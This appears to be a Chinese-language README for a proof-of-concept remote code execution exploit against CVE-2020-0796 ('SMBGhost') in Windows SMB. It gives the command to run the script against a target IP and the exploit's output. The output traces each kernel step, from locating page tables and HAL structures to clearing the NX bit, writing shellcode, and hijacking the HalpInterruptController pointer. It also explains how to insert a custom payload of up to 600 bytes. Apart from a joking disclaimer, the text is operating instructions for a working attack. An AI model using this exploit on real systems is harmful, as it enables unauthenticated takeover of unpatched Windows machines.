CVE-2020-0796 "SMBGhost" 的 RCE PoC
仅用于演示目的!仅将此作为参考使用。说真的,该代码未在我的实验环境之外进行测试。它是快速编写的,需要进一步改进才能更可靠。有时会导致蓝屏。将该代码用于自我教育以外的任何目的都是极其糟糕的主意。你的电脑会燃起火焰。小狗会死去。
现在把那些话说完……
使用示例:
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
将 payload 替换到 exploit.py 中的 USER_PAYLOAD。最大 600 字节。如果需要更多空间,请自行修改内核 shell code。
lznt1 代码来源于此处。进行了修改,添加了一个“坏压缩”函数来破坏 SRVNET 缓冲区头部而不导致崩溃。
更多关于我使用的方法的详细信息,请参阅 Ricera Security 的精彩文章: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html